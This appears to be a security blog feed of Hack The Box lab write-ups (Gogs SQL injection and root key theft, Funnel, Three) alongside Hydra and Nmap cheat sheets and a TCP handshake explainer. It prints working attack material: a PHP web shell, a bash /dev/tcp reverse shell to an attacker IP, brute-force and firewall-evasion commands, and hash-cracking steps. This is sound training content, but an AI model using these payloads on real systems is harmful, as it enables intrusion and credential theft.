Before we create our SQL query, let's take a closer look at the exploit we're using to exploit this SQL injection

As we can see, if we replace “repos” with “users,” we can identify usernames

Now that we're ready, let's get started with the SQL injection!

As I mentioned earlier, the request has been sent to the Repeater, so we will be operating in that section

The first thing we're going to do is sort the data based on a nonexistent column

As we can see, the server returns a message saying, “1st ORDER BY term out of range - should be between 1 and 27”

So now, instead of 100, we're going to specify 27 columns

And now we haven't received any errors

Now that we know the exact number of columns, let's use a UNION SELECT to retrieve values from those columns that represent a specific value

As we can see, column 3 represents the username, using the output from the third column, we'll try to extract values

Since we don't know the default names assigned to the columns, we're going to search the Gogs files locally to see how the database is structured

cd gogs

find . | grep "db$"

We'll be able to locate a gogs.db file. Since this is a binary file, we can't use cat to open it, so we'll use strings instead

strings gogs.db

We copy that query and save it, then replace the commas with line breaks so we can view it correctly

nvim query

cat query | tr ',' '\n'

And as we can see, there are two columns that catch our attention: “passwd” and “salt”

Now that we know this, let's start with passwd to see if we can extract a password

And as we can see, we were able to extract a hashed password

Now we can combine passwd with salt to have both values when cracking the hashed password

But the problem here is that we don't know what kind of hash is being applied

So let's take a look at the code we have on Gogs' GitHub

To do that, let's take a look at what the project looked like before

Next, we'll go to the models section, user.go*, and there we'll see what format the password has been hashed in

Passwords use a PBKDF2 salt and a SHA-256 hash

Password cracking

Now comes the part where we're going to crack the hashed password

First of all, let's use Hashcat to perform this cracking operation

hashcat --example-hashes | grep -i "PBKDF2"

And this is the one we're interested in: "PBKDF2-HMAC-SHA256"

Then we performed a more specific search to find the Hash Mode and Example.Hash

hashcat --example-hashes | grep -i ": PBKDF2-HMAC-SHA256" -A 13 -B 1

Now our goal is to represent the hash as specified in Example.Hash

To do this, we're going to create a file to store Example.Hash and the salt/hash we were able to extract using the SQL injection

Since we need it to be in Base64 to crack it, we'll provide the hash and salt as specified in Example.Hash, except that we'll convert both the salt and the SHA-256 hash to Base64

First, let's start with the hash

echo -n "de584d4ac253de57dcd5628082126b9d0d5ef791cb1874ac6ac36b7ebafe4288467c74530d84b49c60811dacbb5ee63277db" | xxd -ps -r | base64

Now with the salt

echo -n "bmzH2leheI" | base64

Once we've converted the two values to Base64, we'll specify them as shown in Example.Hash

The only value we need to change is 1,000 to 10,000, since 10,000 is the number of iterations performed to hash that password

Now that we have this hash, we're going to crack it on our main operating system using hashcat (it's best to use our main operating system to crack passwords since hashcat uses a lot of hardware)

Copy and paste the hash into Notepad, then install Hashcat & rockyou.txt for your operating system, open a terminal, and run:

.\hashcat.exe ..\hash.txt rockyou.txt

Once the password has been cracked, it will display the hash followed by an “=” and the password in plain text

At this point, we have everything we need to attempt to gain access to the victim machine by combining SSRF with SQL injection. We will then crack the password on the actual service and use any remote services available to us to connect using the cracked credentials

So, let's modify the PHP file with the SQL query we created locally using Burp Suite

Then, just as we did before, we opened a listening port using netcat and also set up a PHP server where our code will run, redirecting to internal port 3000 on the victim machine with the SQL query we created

And as we saw, we were able to extract a username, password and salt, now all that's left is to apply the password cracking phase in the same way we did before

Once we've run the cracking phase with Hashcat, it gives us the password “february15” in plain text

Now that we have credentials, we can try to connect using the SSH service we identified during the reconnaissance phase

ssh susanne@10.129.34.90

Password = february15

Once we have access, run export TERM=xterm so we can use Ctrl + L

Now comes the privilege escalation phase

Privilege Escalation

First, we log in knowing that the machine has a web service, so we navigate to var/www/html

cd /var/www/html

And we list the files that are inside

ls -la

And it looks like we've managed to find a .env file

The .env file contains environment variables with sensitive data and configurations that are separate from the main code

Now we can use the credentials stored in DB_USERNAME and DB_PASSWORD to connect to MySQL

mysql -u laravel -p

Password = MYsql_strongestpass@2014+

After listing all the databases along with their respective tables and columns, I didn't find any information, so let's move on to the next step

What we can do now is list the tasks that are running on the system at regular intervals, or we can simply create a Bash script to automatically perform that process

To do this, we're going to create a file in the /tmp directory

cd /tmp
nano pseo.sh

And this is the script

#!/bin/bash

function ctrl_c(){
	echo -e "\nQuitting...\n"
    exit 1
}

# Ctrl + C
trap ctrl_c SIGINT

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "pseo.sh|command|kworker"
	old_process=$new_process
done

chmod +x pseo.sh
./pseo.sh

Taking a look at the output of the script we ran, we see that the root user is running artisan with PHP, but since we don't know what it does or what it is, let's take a closer look

cd /var/www/html
cat artisan

But unfortunately, we were unable to find any important information

But after the PHP file, it runs schedule:run, so let's take a look at that too

cd app

grep -r -i "schedule"

And it looks like “schedule” is located in the Console directory, inside the Kernel.php file

cd Console
cat Kernel.php | less -S

This is the key part of the code:

/* Run your task here */ HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);

Let's find out what “check” does

grep -r -i "check"

cat /var/www/html/app/Http/Controllers/HealthChecker.php | less -S

As we can see, file_get_contents is being used in the “Monitored URL” field

If sanitization is not being applied, this is a serious problem, since we can list internal files on the machine under the root user

Using that information, let's try to list the /etc/passwd file on the victim machine

Unfortunately, it doesn't work, but if we remember correctly, we have credentials for the MySQL database, and if we create a webhook, it would be stored in the database

With that in mind, let's connect to the database

mysql -u laravel -p

Password = MYsql_strongestpass@2014+

show databases;
use laravel
show tables;

Here we see the tasks table, as we saw earlier, this table stores the request we sent when we create a webhook

To verify that, let's create it and list the content of this table

(In this screenshot, I have a different IP address because I had restarted the VPN)

And within the database, we can modify the query so that it lists the files we want, in this case the root user's id_rsa

update tasks set monitoredUrl = 'file:///root/.ssh/id_rsa';

So, we open a listening port, then create a webhook and modify the query so that when it runs every minute as we specified with * * * * *, it will execute whatever we’ve specified, in this case listing the contents of the root user’s id_rsa file. All this information will be sent to the port we’re listening on with netcat, allowing us to elevate our privileges to root

And here we received the root user's id_rsa, now we'll copy it and save it to a file

Then, using jq, we convert it to raw format so that the key is properly structured, and finally, we save the file containing the key to a file named id_rsa, to which we must assign 600 permissions for it to work correctly

cat key | jq -r > id_rsa
chmod 600 id_rsa

Now that we have the root user's id_rsa, all we need to do is log in as the root user via the SSH service

ssh -i id_rsa root@10.129.34.90

(In the screenshot, I'm connected to a different IP address because I had to restart the HTB machine due to technical issues)

And finally, we've gained root access

Hydra Cheatsheet

Tue, 14 Jul 2026 00:00:00 GMT

Hydra

Help Menu

First of all, if this is your first time using Hydra, i recommend opening the help menu to learn about the different commands the tool offers

hydra -h

Options:
  
-R      restore a previous aborted/crashed session
-I      ignore an existing restore file (don't wait 10 seconds)
-S      perform an SSL connect
-s PORT   if the service is on a different default port, define it here
-l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
-p PASS  or -P FILE  try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
-y      disable use of symbols in bruteforce, see above
-r      use a non-random shuffling method for option -x
-e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
-u        loop around users, not passwords (effective! implied with -x)
-C FILE   colon separated "login:pass" format, instead of -L/-P options
-M FILE   list of servers to attack, one entry per line, ':' to specify port
-D XofY   Divide wordlist into Y segments and use the Xth segment.
-o FILE   write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
-f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS  run TASKS number of connects in parallel per target (default: 16)
-T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME  wait time for a response (32) / between connects per thread (0)
-c TIME   wait time per login attempt over all threads (enforces -t 1)
-4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
-O        use old SSL v2 and v3
-K        do not redo failed attempts (good for -M mass scanning)
-q        do not print messages about connection errors
-U        service module usage details
-m OPT    options specific for a module, see -U output for information
-h        more command line options (COMPLETE HELP)
server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service   the service to crack (see below for supported protocols)
OPT       some service modules support additional input (-U for module help)
  
Examples:
  
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

Below, I'll list the most common services for carrying out brute-force attacks using Hydra

FTP

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> ftp

SSH

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> ssh

RDP

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> rdp

SMBv1

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> smb

SMBv2 & SMBv3

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> smb2

HTTP-GET

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> http-get /path/

HTTP-POST-FORM

hydra -L </path/to/usernames/wordlist> -P </path/to/passwords/wordlist> <IP> http-post-form "/path:username=^USER^&password=^PASS^:Incorrect Username or Password"

Depending on what we're up against, we may need to research the tool more thoroughly or practice to learn how to use it efficiently. The techniques listed above are only the most common ones when performing brute-force attacks with Hydra, but they won't always work, so it's best to practice.

Nmap Cheatsheet

Mon, 13 Jul 2026 00:00:00 GMT

Nmap

Multiple Targets Scan

Initial Host Discovery

nmap -sn <IP>/<CIDR> -oG hosts.gnmap

Export hosts into a hostlist

grep "Up" hosts.gnmap | awk '{print $2}' > hosts.txt

Port Scan

nmap -sS -p- --open -Pn -n --min-rate 5000 -iL hosts.txt -oN ports.txt

Extract Ports

grep '^[0-9]' ports.txt | cut -d '/' -f1 | sort -u | xargs | tr '' ','

Service, Version & NSE Detection

nmap -sCV -p<ports> -iL hosts.txt -oN scan.txt

Single Target Scan

TCP Port Scan

nmap -sS -p- --open --min-rate 5000 <IP> -vvv -n -Pn -oG TCPports.txt

UDP Port Scan (Optional)

nmap -sU -p- --open --min-rate 500 <IP> -vvv -n -Pn -oG UDPports.txt

Extract TCP Ports

grep '^[0-9]' TCPports.txt | cut -d '/' -f 1 | xargs | sort -u | tr ' ' ','

Extract UDP Ports (Optional)

grep '^[0-9]' UDPports.txt | cut -d '/' -f 1 | xargs | sort -u | tr ' ' ','

Service Version Detection on Open Ports

nmap -sCV -p<ports> <IP> -oN portscan.txt

Firewall Evasion

sudo nmap -sCV -sS -Pn -n -p- <IP> --disable-arp-ping --source-port 53 -D RND:2

It's important to note that there are thousands of ways to bypass firewalls. Below, I'll list the methods most commonly used by cybersecurity professionals when they want to bypass firewalls

MTU (--mtu): The MTU (Maximum Transmission Unit) evasion technique involves adjusting the size of the packets being sent to avoid detection by the firewall. Nmap allows you to manually configure the maximum packet size to ensure that packets are small enough to pass through the firewall undetected.

Data Length (--data-length): This technique involves adjusting the length of the data sent so that it is short enough to pass through the firewall undetected. Nmap allows users to manually configure the length of the data sent so that it is small enough to evade detection by the firewall.

Source Port (--source-port): This technique involves manually configuring the source port number of the packets being sent to avoid detection by the firewall. Nmap allows users to manually specify a random source port or a specific port to evade detection by the firewall.

Decoy (-D): This evasion technique in Nmap allows the user to send fake packets to the network to confuse intrusion detection systems and avoid detection by the firewall. The -D command allows the user to send fake packets along with the actual scan packets to hide their activity.

Fragmented (-f): This technique involves fragmenting the packets sent so that the firewall cannot recognize the traffic as a scan. The -f option in Nmap allows you to fragment the packets and send them separately to avoid detection by the firewall.

Spoof-Mac (--spoof-mac): This evasion technique involves changing the packet's MAC address to avoid detection by the firewall. Nmap allows the user to manually configure the MAC address to avoid detection by the firewall.

Stealth Scan (-sS): This technique is one of the most commonly used methods for performing stealth scans and avoiding detection by the firewall. The -sS command allows users to perform a SYN scan without establishing a full connection, thereby avoiding detection by the firewall.

min-rate (--min-rate): This technique allows the user to control the speed to the packets that are sent to avoid detection by the firewall.

TCP - UDP & Three-Way Handshake

Fri, 10 Jul 2026 00:00:00 GMT

Protocols TCP & UDP

The TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) are two of the most common network protocols used for transferring data over computer networks

The TCP protocol is a connection-oriented protocol that provides reliable data delivery, while the UDP protocol is a connectionless protocol that does not guarantee data delivery

In other words, in the TCP (Transmission Control Protocol). Its top priority is reliability. It doesn't mind taking a little longer, but it ensures that every piece of data reaches its destination intact and in the correct order

On the other hand, there's UDP (User Datagram Protocol). Its top priority is speed. UDP doesn't care if anything gets lost along the way; its job is to send the information as quickly as possible

Common TCP Ports

21: FTP (File Transfer Protocol) - allows files to be transferred between systems.

22: SSH (Secure Shell) - a secure network protocol that allows users to connect to and manage systems remotely.

23: Telnet - a protocol used for remote connection to network devices.

80: HTTP (Hypertext Transfer Protocol) — the protocol used for data transfer on the World Wide Web.

443: HTTPS (Hypertext Transfer Protocol Secure) — the secure version of HTTP, which uses SSL/TLS encryption to protect web communications.

Common UDP Ports:

53: DNS (Domain Name System) — a system that translates domain names into IP addresses.

67/68: DHCP (Dynamic Host Configuration Protocol) — a protocol used to assign IP addresses and other configuration parameters to devices on a network.

69: TFTP (Trivial File Transfer Protocol) — a simple protocol used to transfer files between devices on a network.

123: NTP (Network Time Protocol) — a protocol used to synchronize the clocks of devices on a network.

161: SNMP (Simple Network Management Protocol) — a protocol used to manage and monitor devices on a network.

It should be noted that these are just some of the most common ones. There are many more ports that operate over both TCP and UDP

Three-Way Handshake

The Three-Way Handshake is a procedure used to establish a connection between two devices. This procedure consists of three steps: SYN, SYN-ACK, and ACK, during which the sequence and acknowledgment numbers of the packets are synchronized between the devices. The Three-Way Handshake is essential for establishing a reliable and secure connection over TCP

The 3 Handshake Packets in Detail

For TCP to work, packets don't just carry text, they carry "flags" which are like on/off switches and “sequence numbers” to keep track of the order

STEP 1 The Client initiates the connection (SYN)

The client (for example, your web browser) wants to talk to the server. To do this, it generates a random initial sequence number (let's call it $Seq = X$) and sends a packet with the SYN flag active (1)

STEP 2 The Server responds and proposes (SYN-ACK)

The server receives the packet. If it has the port open and is willing to talk, it must do two things: confirm that it received the client's message and propose its own sequence number. To do this, it sends a packet with two active flags: SYN (1) and ACK (1)

The ACK (Acknowledgment): It takes the client's number ($X$), adds 1 ($X + 1$), and places it in the Acknowledgment Number field

The SYN (Synchronization): The server generates its own independent initial random number (let's call it $Seq = Y$)

Server State: Changes to SYN-RECEIVED

STEP 3 The Client confirms the agreement (ACK)

The client receives the SYN-ACK from the server. Now the client knows that the server hears it well. The last step is to confirm that it also hears the server well. It sends a final packet with the ACK flag active (1)

How are the numbers formed? The client's sequence number is now $Seq = X + 1$. The acknowledgment number is the server's number plus one ($Ack = Y + 1$), which means: "I received your $Y$, I expect the next thing to be $Y+1$".State of both: The connection becomes officially ESTABLISHED

Real Numerical Example

Let's imagine that the initial random numbers assigned by the operating system are simple numbers to understand the protocol's math:

SYN (Client $\rightarrow$ Server): * $Seq = 1000$ | $Ack = 0$ | Flag: SYN

SYN-ACK (Server $\rightarrow$ Client): * $Seq = 5000$ | $Ack = 1001$ ($1000 + 1$) | Flags: SYN, ACK

ACK (Client $\rightarrow$ Server): * $Seq = 1001$ | $Ack = 5001$ ($5000 + 1$) | Flag: ACK

From this moment on, if the client wants to send a 100-byte message, the server will know perfectly well that those bytes correspond to the block starting at number $1001$.

Funnel

Fri, 10 Jul 2026 00:00:00 GMT

Reconnaissance

Let's start by using nmap to detect open TCP ports on the victim machine

sudo nmap -sS -p- --open --min-rate 5000 10.129.30.108 -vvv -n -Pn -oG allports.txt

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63

As we can see, we've detected two services: FTP and SSH

Now we're going to perform service version detection on the open ports

nmap -sVC -p21,22 10.129.30.108 -oN portscan.txt

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Anonymous FTP Login

Thanks to this information, we were able to determine that the FTP service allows anonymous login

So, let's connect!

Within the FTP service, using the ls command, we can identify a directory stored on the server

Let's see what's inside

cd mail_backup

Let's run the ls command again

ls

Let's download these two files to see what's inside them

prompt

mget *

local: password_policy.pdf remote: password_policy.pdf
229 Entering Extended Passive Mode (|||56800|)
150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).
100% |***********************************************************************************************************************************************| 58899        2.95 MiB/s    00:00 ETA
226 Transfer complete.
58899 bytes received in 00:00 (2.10 MiB/s)
local: welcome_28112022 remote: welcome_28112022
229 Entering Extended Passive Mode (|||53801|)
150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).
100% |***********************************************************************************************************************************************|   713      543.97 KiB/s    00:00 ETA
226 Transfer complete.
713 bytes received in 00:00 (81.01 KiB/s)

Credentials Found

Once the files have been downloaded, we'll use open and cat open for the file with the .pdf extension

open password_policy.pdf

Taking a closer look at the password policy, we see a line that says "For example the default password of “funnel123#!#” must be changed immediately."

Now let's take a look at the other downloaded file

cat welcome_28112022

It looks like we've gained some users...

Brute-Force Attack with Hydra

Now we'll use Hydra to try to authenticate with the SSH or FTP service using the credentials we found

But first, let's create a wordlist with the users we found

nvim users.txt

Now we're ready to use Hydra!

hydra -L users.txt -p 'funnel123#!#' 10.129.30.108 ssh

It looks like we were able to find a username and password for the SSH service

Now all we have to do is log in

Local Services

Once we're in, let's see which services are running locally on the victim machine

netstat -tlnp

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:44737         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

It looks like the machine is running something on port 5432

Let's see which service is running on this port

netstat -tl

Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:domain        0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN     
tcp        0      0 localhost:postgresql    0.0.0.0:*               LISTEN     
tcp        0      0 localhost:44737         0.0.0.0:*               LISTEN     
tcp6       0      0 [::]:ftp                [::]:*                  LISTEN     
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN

We were able to detect the service!

The victim machine is running PostgreSQL locally

Unfortunately, the victim machine does not have the tool needed to communicate with this service, and we don't even have elevated privileges to download this tool so we will need to set up a Local Port Forwarding via SSH

Tunneling

ssh -L 1234:localhost:5432 christine@10.129.30.108

When you run this command, the SSH client will establish a secure connection to the remote SSH server, and it will listen for incoming connections on the local port 1234 . When a client connects to the local port, the SSH client will forward the connection to the remote server on port 5432 . This allows the local client to access services on the remote server as if they were running on the local machine. In the scenario we are currently facing, we want to forward traffic from any given local port, for instance 1234 , to the port on which PostgreSQL is listening, namely 5432 , on the remote server. We therefore specify port 1234 to the left of localhost , and 5432 to the right, indicating the target port

Now, to check if it worked correctly, let's use nmap

nmap -sV -p1234 localhost

PORT     STATE SERVICE    VERSION
1234/tcp open  postgresql PostgreSQL DB 15.0 - 15.1

And it looks like the tunnel worked properly

PostgreSQL Query

Now we'll use the psql utility to connect to the PostgreSQL service

psql -U christine -h 127.0.0.1 -p 1234

Now that we're in, let's list the databases using \list

\list

Now, to use the database of our choice, we simply use \c (database name)

In this scenario, I'm going to use secrets because it's the one that stands out the most

\c secrets

Now the next step would be to list the tables in the database, to do that we'll use \dt

\dt

And as a final step, we'll list the information contained in that table. To do this, we'll use SELECT * FROM (table name);

SELECT * FROM flag;

And that's how we got the flag, so we're done with this machine!

Three

Thu, 09 Jul 2026 00:00:00 GMT

Reconnaissance

Let’s start by checking what TCP Ports are accessible

sudo nmap -sS -p- --open --min-rate 5000 10.129.29.182 -vvv -n -Pn -oG allports.txt

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Now let's apply service version detection to the open ports

sudo nmap -sVC -p22,80 10.129.29.182 -oN portscan.txt

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As we can see, we have two services: HTTP and SSH

First, let's take a quick look at the HTTP service

Brute-Force Attack

Unfortunately, we couldn't find anything interesting, so we're going to perform a brute-force attack on directories using Gobuster. (We added the -x flag because the web service uses PHP)

gobuster dir -u 10.129.29.182 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 --no-error -x php

/images               (Status: 301) [Size: 315] [--> http://10.129.29.182/images/]
/index.php            (Status: 200) [Size: 11952]
/.php                 (Status: 403) [Size: 278]

We still don't have any interesting information :(

While looking at the web service, it occurred to me to scan for subdomains, so we'll reuse Gobuster by changing the dir flag to vhost

But before we use this technique, let's map the IP address to the domain name

sudo nvim /etc/hosts

Now let's continue with the discovery of subdomains

Subdomain Discovery

gobuster vhost -u http://thetoppers.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 --no-error --append-domain

It looks like we've found something interesting this time, we were able to discover two hidden subdomains under the root domain

First, let's take a look at the subdomain s3.thetoppers.htb

But to do this, we need to edit the /etc/hosts file

sudo nvim /etc/hosts

And it looks like a service is running under this subdomain...

But since we have no idea what it might do, we did a quick Google search

Thanks to a Google search, we were able to find out aws s3 bucket is running in the background

Interacting with an AWS S3 Bucket

Now let's see how to interact with this service remotely

First of all, we'll install the tool in case we don't already have it

sudo apt-get install awscli

Now let's set up awscli

aws configure

Once it's set up, let's interact with the service

aws --endpoint=http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb

As we can see, we were able to list the files located under the root domain

Uploading a Malicious PHP File

Now that we know this, we'll create a malicious PHP file that allows us to execute commands via the URL

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Once it's created, we'll upload it to the web service

aws --endpoint=http://s3.thetoppers.htb/ s3 cp shell.php s3://thetoppers.htb

Now let's verify that the file has been uploaded correctly and that we can run commands on the web service

As we can see, it works correctly, and we are now able to execute commands within the web service

With this in mind, let's now establish a reverse shell

Reverse Shell

revshell.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.15.6/1234 0>&1

Once the reverse shell is created, we'll set up a local HTTP server to host it

python3 -m http.server 8000

Next, we're going to open a listening port through which the shell will connect (Keep in mind that it must be the same port that we specified when creating the revshell)

nc -nvlp 1234

Now all we have to do is use the curl utility to access the URL that is the web service and execute the reverse shell we're hosting on our local Python server

And we got the reverse shell!

Now we can claim our flag :)

cat /var/www/flag.txt